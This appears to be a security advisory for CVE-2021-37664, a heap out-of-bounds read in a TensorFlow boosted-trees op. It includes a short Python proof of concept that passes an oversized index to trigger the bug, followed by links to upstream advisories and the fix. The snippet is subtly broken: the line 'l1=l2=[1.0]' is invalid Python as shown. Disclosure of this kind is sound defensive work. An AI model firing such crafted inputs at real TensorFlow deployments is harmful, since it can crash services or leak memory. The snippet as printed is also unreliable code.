CVE-2021-37664: Heap OOB in boosted trees
(updated )
An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to BoostedTreesSparseCalculateBestFeatureSplit
:
import tensorflow as tf
tf.raw_ops.BoostedTreesSparseCalculateBestFeatureSplit(
node_id_range=[0,10],
stats_summary_indices=[[1, 2, 3, 0x1000000]],
stats_summary_values=[1.0],
stats_summary_shape=[1,1,1,1],
l1=l2=[1.0],
tree_complexity=[0.5],
min_node_weight=[1.0],
logits_dimension=3,
split_type='inequality')
References
- github.com/advisories/GHSA-r4c4-5fpq-56wg
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-577.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-775.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-286.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/e84c975313e8e8e38bb2ea118196369c45c51378
- github.com/tensorflow/tensorflow/security/advisories/GHSA-r4c4-5fpq-56wg
- nvd.nist.gov/vuln/detail/CVE-2021-37664
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